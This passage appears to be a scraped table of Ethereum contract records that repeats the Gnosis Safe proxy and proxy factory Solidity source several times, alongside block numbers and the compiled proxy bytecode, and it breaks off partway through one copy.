/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
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// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,503,067 |
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,503,067 |
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|
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|
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|
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|
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|
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,503,074 |
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|
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|
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|
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|
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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|
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|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
